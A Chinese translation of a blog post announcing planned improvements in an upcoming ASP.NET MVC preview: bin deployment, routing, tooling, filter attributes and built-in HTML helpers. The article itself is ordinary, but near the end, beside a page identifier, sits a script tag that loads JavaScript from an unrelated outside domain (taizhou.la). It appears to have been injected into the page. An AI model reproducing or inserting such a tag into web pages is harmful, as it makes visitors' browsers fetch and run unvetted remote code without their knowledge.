ASP.NET MVC 框架路線圖更新

【原文地址】 ASP.NET MVC Framework Road-Map Update
【原文發表日期】 Tuesday, February 12, 2008 1:05 PM

去年的十二月份,作爲ASP.NET 3.5 Extensions CTP版的一部分,我們發佈了新ASP.NET MVC 框架的第一個預覽版。我也寫了幾個博客帖子,對該框架到底是什麼,以及你可以如何使用它,提供了更多的細節:

此後,我們得到了很多正面的反饋,下載量非常高,感受到了圍繞着該框架的興奮。最近大家常問我的一個問題是,“新的版本什麼時候出來,裏面都有些什麼?”

下面的內容將提供幾個更新,是關於ASP.NET MVC 開發團隊一直在開發的東西,以及不久就會發布的一些新特性。我在將來的另外一個帖子裏將會討論ASP.NET Dynamic Data(動態數據)以及一直在穩步前進的ASP.NET AJAX 特性方面的工作。

所有這些特性(ASP.NET MVC, ASP.NET Dynamic Data, 以及新的ASP.NET AJAX 改進)都將在今年稍後發佈,可用於VS 2008 和.NET 3.5。

即將發佈的ASP.NET MVC MIX 預覽版

我們計劃在幾個星期後的MIX 08 大會上發佈 ASP.NET MVC 的下一個公開預覽版。這個版本將可以在網上爲任何人所下載(你不需要參加MIX)。在這個版本中,我們融合了許多早期採用者的反饋。下面是將在這下一個預覽版中出現的一些改進:

1)ASP.NET MVC框架可以部署在應用的/bin目錄中,以及在部分信任權限下工作

第一個ASP.NET MVC 預覽版,爲了將System.Web.Mvc.dll程序集註冊到機器的GAC(全局程序集緩存)中去,需要一個安裝程序在機器上運行。

從即將發佈的這個預覽版開始,我們將允許應用直接從應用的/bin目錄中直接引用System.Web.Mvc.dll 程序集。這意味着不需要在服務器上運行安裝程序就可以使用ASP.NET MVC 框架,你只要直接將你的應用拷貝到遠程ASP.NET 服務器上,就可以運行(不用註冊,也不需要額外的配置步驟)。

我們還在做一些工作,以允許ASP.NET MVC 框架能在“部分和中等信任權限(partial/medium trust")”的主機場景中運行。這將允許你在廉價的共享主機帳號中也可使用這個框架,而不用要求主機供應商做什麼(只要將你的應用FTP上去,它就能運行,他們不需要安裝什麼東西)。

2)顯著增強的路徑選擇特性和基礎設施

ASP.NET MVC 框架一個最強大的特性是它的路徑選擇引擎(我在這裏討論過這些特性)。

即將發佈的這個ASP.NET MVC 預覽版將包含更多的URL路徑選擇的特性和改進。你現在可以使用置名的路徑(允許明確的路徑規則的引用),使用靈活的路徑通配符規則(允許自定義的基於CMS的URLs),引申和聲明自定義的路徑規則(允許象REST資源映射那樣的場景等等)。

在這個預覽版中,我們還將URL路徑選擇基礎設施與MVC框架的其他部分分開,這允許我們可將其用於ASP.NET中其他的非MVC特性中 (包括ASP.NET Dynamic Data和ASP.NET Web Forms)。

3)改進的VS 2008工具支持

第一個ASP.NET MVC預覽版只有極小的VS 2008 支持(基本上就是簡單的項目模板支持)。

這個即將發佈的ASP.NET MVC預覽版將提供改進的VS 2008集成支持。這包括,更好的項目文件模板,自動的項目默認設置等等。我們還加了內置的“測試框架”嚮導,這嚮導將在你通過 File->New Project 對話框創建新ASP.NET MVC項目時自動運行。這將允許你輕鬆地爲你的ASP.NET MVC應用命名和連接單元測試項目。

ASP.NET MVC測試框架嚮導是可插拔的,允許自定義的測試項目模板添加到支持的測試選項表中去:

step5.png

這允許開發人員輕鬆地選擇他們最喜歡使用的任意單元測試框架(以及關聯的mocking和依賴注入選項)。

4)Controller Action方法不再需要[ControllerAction]特性

第一個ASP.NET MVC 預覽版要求Controller類的action方法明確標有[ControllerAction]特性,纔可調用:

step1.png

基於早期採用者的反饋,即將發佈的ASP.NET MVC版將去掉這個要求,取而代之的是,在默認情形下,Controller上的所有公共方法現在都被認爲是Action方法:

step2.png

注: 你可以添加特性,以避免你的Controller的公共方法成爲可調用的action方法,假如你想要/需要加一個公共的非action方法的話。

5)控制器和Action方法的新過濾特性支持

在這下一個ASP.NET MVC版本中啓用的一個新擴展性特性是個叫做“過濾特性(Filter Attributes)”的特性。這允許你把攔截代碼注入到MVC控制器的請求中,這些代碼可以在Controller或它的Action方法執行之前和之後執行。這個行爲能促成一些非常棒的封裝場景,在其中你可以乾淨,聲明的方式來包裝和重用功能。

例如,我可以使用一個 [OutputCache] 過濾特性,來每次30秒輸出緩存我的產品列表網頁:

step3.png

或者使用 [Authorization] 過濾特性來確保只有擁有某個特定安全角色的人才允許編輯產品:

step4.png

這個過濾機制是可擴展的,你可以輕鬆地爲Controller類或者其中的Action方法創建你自己的自定義過濾特性。過濾器(以及使用過濾器的控制器和action方法)是可以被完全單元測試的。

6)HTML輔助方法成內置

第一個ASP.NET MVC 預覽版只有幾個HTML UI輔助方法內置於核心程序集中。然後我們發佈了一個單獨的下載,內含一堆可爲你所用的額外的HTML輔助方法。

這個即將發佈的ASP.NET MVC 預覽版現在內置擁有這些HTML輔助方法(不需要單獨的下載)。下個月,我們還將開始討論我們正在對客戶端ASP.NET AJAX庫所做的一些新的改進,以及一些能與ASP.NET MVC輕鬆集成的AJAX輔助方法。

7)許多重構和設計方面的改進

這個即將發佈的ASP.NET MVC預覽版還包括幾個重構和設計改進,以進一步提高MVC框架的可擴展性和可測試性。總的來說,開發團隊遵循了這樣一個設計理念,針對所有特性你都有三個選項:

  1. 原封不動地使用內置的特性/實現
  2. 稍微定製一下內置的特性/實現,不需要編寫很多代碼
  3. 用自定義的東西完全替換掉內置的特性/實現

例外,你現在可以改變視圖引擎(ViewEngine)的定位邏輯 (locator logic),而不用改變視圖引擎的執行邏輯(反之亦然),或者可以把視圖引擎完全置換掉。Controller Factory支持也被擴展成更便利與依賴注入框架的輕鬆集成。路徑規則現在也是完全可擴展的,Controller也更易測試了,等等。

8)可下載的ASP.NET MVC框架源碼(可編譯和施於補丁)

上個月,我宣佈了.NET框架源代碼可以下載和調試了。最終在發佈 ASP.NET MVC 框架之後,該框架的源代碼也將以同樣的機制提供給開發人員,就像其他的ASP.NET源代碼一樣。

從下一個預覽版開始,我們還將把ASP.NET MVC 框架的源代碼以可編譯的VS項目方案的方式提供下載。這將允許你輕鬆地查看和調試ASP.NET MVC 框架源代碼。我們還將包括一個許可,允許你可以對ASP.NET MVC 框架的源代碼進行補丁,萬一你在使用MVC框架開發的應用中遇上其中的缺陷的話。

這個許可將不允許你重新發布你補過的ASP.NET MVC 版本(我們想避免有多個不兼容的ASP.NET MVC 版本的流傳以及相互之間的衝突)。但它會允許那些想動手開發ASP.NET MVC 應用的開發人員立刻取得進展,而不必擔心爲他們無法繞過的臨時的缺陷所阻礙。

結語

下一個 ASP.NET MVC 預覽版中還包括了很多其他的變動(包括許多輔助屬性/方法/對象)。希望上面的列表對即將出現的幾個較大的改進提供了一些介紹。在MIX大會左右我會在預覽版發佈後寫帖子,提供更新的預覽版的地址。

希望本文對你有所幫助,

Scott

標籤: ASP.NET, .NET, MVC
114570.aspx <script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章